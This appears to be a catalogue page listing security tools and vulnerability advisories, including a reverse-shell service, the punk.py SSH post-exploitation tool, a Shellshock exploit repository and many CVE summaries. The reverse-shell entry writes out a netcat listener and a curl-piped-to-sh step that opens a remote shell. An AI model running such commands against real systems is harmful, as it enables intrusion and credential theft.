lynis

Documentation Do you like this software? Star the project and become a stargazer. lynis Lynis - Security auditing and hardening tool, for UNIX-based systems. Lynis is a security auditing tool for systems based on UNIX like Linux, macOS, BSD, and others. It performs an in-depth security scan and...

Narthex

Narthex Narthex Greek: Νάρθηξ, νάρθηκας is a modular & minimal dictionary generator for Unix and Unix-like operating system written in C and Shell. It contains autonomous Unix-style programs for the creation of personalised dictionaries that can be used for password recovery & security assessment...

reverse-shell

reverse-shell 리버스 셸 서비스 - https://reverse-shell.sh 기억하기 쉬운 리버스 셸로, 대부분의 유닉스 계열 시스템에서 작동합니다. 대상에서 사용 가능한 소프트웨어를 감지하고 적절한 페이로드를 실행합니다. 사용법 1. 연결 대기 자신의 머신에서 포트를 열고 대기합니다. netcat으로 쉽게 할 수 있습니다. nc -l 1337 2. 대상에서 리버스 셸 실행 대상 머신에서 https://reverse-shell.sh/yourip:port의 출력을 sh로 파이프합니다. curl...

punk.py

punk.py unix SSH 후-침투 1337 도구 작동 방식 punk.py는 손상된 unix 박스에서 네트워크 피보팅을 돕기 위한 후-침투 도구입니다. unix 시스템에서 사용자 이름, SSH 키 및 알려진 호스트를 수집한 후 발견된 모든 조합에 대해 SSH로 연결을 시도합니다. punk.py는 표준 python2 및 python3 인터프리터 모두에서 작동하도록 작성되었습니다. 스크린샷 예제 표준 실행: $ ./punk.py passwd 검사를 건너뛰고 사용자 지정 홈 경로 사용: $ ./punk.py --no-passwd...

Shellshock

Shellshock 익스플로잇 CVE-2014-6271 익스플로잇 설명 이 저장소는 유닉스 기반 시스템에 영향을 미치는 취약점에 대한 익스플로잇을 포함하고 있습니다. 이는 교육 목적으로 제작된 개념 증명 스크립트에 불과하며, 책임감 있게 사용해야 합니다. 이 익스플로잇은 셸쇼크 공격이 어떻게 작동하는지, 그리고 악의적으로 조작된 요청 헤더를 통해 시스템에 셸 접근 권한을 획득하는 데 어떻게 사용될 수 있는지 보여주기 위해 설계되었습니다. 면책 조항 이 저장소는 교육 목적으로만 제공됩니다. 이 코드나 포함된 정보를 악의적인 목적...

CVE-2026-47321

The CompressionFilter class uses ZLib to deflate and inflate data sent and received. When we inflate incoming data, the filter does not control the resulting size, and create a buffer no matter what. Some compressed data may have a compression ration greater than 1 thousand, leading to an...

CVE-2026-54604

OpenSlide is a C library for reading whole slide image files. Prior to 4.0.1, a behavior change in libtiff 4.7.1 causes the indirect TIFF tile path in src/openslide-decode-tiff.c and openslidetiffreadtile to request a full-height destination for a partial bottom tile row, allowing uninitialized...

GHSA-M7FF-3HM8-6QXH vulnerabilities

Vulnerabilities for packages: strongswan...

Astra Linux – Vulnerability in Python 3.7, Python 2.7, Pypy

A vulnerability was discovered in Python before version 3.8.18, 3.9.x before version 3.9.18, 3.10.x before version 3.10.13, and 3.11.x before version 3.11.5. This vulnerability primarily affects servers such as HTTP servers that use TLS client authentication. When a TLS server-side socket is...

Astra Linux – Vulnerability in p7zip, 7zip

7-Zip XZ Decompression Heap-Based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected 7-Zip installations. User interaction is required to exploit this vulnerability, as the target must visit a malicious page or ope...

Astra Linux – Vulnerability in Samba

Windows Kerberos Elevation of Privilege Vulnerability...

Astra Linux – Vulnerability in hdf5

The HDF5 library from version 1.14.3 has a segmentation fault in the H5VM.c function H5VMmemcpyvv...

Astra Linux – Vulnerability in Vim

Heap-based Buffer Overflow in the GitHub repository vim/vim before version 9.0.1144...

Astra Linux – Vulnerability in Chromium

Chromium: CVE-2021-30610 Use after free in Extensions API...

Astra Linux – Vulnerability in Shadow

Shadow: TOCTOU time-of-check time-of-use race condition when copying and removing directory trees...

CVE-2026-54241

libde265 is an open source implementation of the h.265 video codec. Versions prior to 1.1.1 use signed 32-bit arithmetic to calculate the sample adaptive offset input-buffer size, allowing a crafted HEVC stream with large dimensions and 16-bit luma samples to cause an integer overflow, an...

CVE-2026-87910

When tarfile extracts a link on a system that doesn't support links, it falls back to extracting a member from the archive. In this case, the filter function is run twice: once for the extracted member, and once with name set to the location of the link. For one of the calls, the return value was...

CVE-2026-15603 vulnerabilities

Vulnerabilities for packages: azurite, wazuh-dashboard, wazuh-dashboard-fips...

CVE-2026-49838

GoBGP is an open source Border Gateway Protocol BGP implementation in the Go Programming Language. Prior to version 4.7.0, GoBGP accepts a zero-length ASPATH during UPDATE decoding and later panics while validating that attribute for a confederation eBGP peer. The vulnerable path is in the BGP...

GHSA-9MR8-PWPW-3J2W vulnerabilities

Vulnerabilities for packages: dotnet-bootstrap...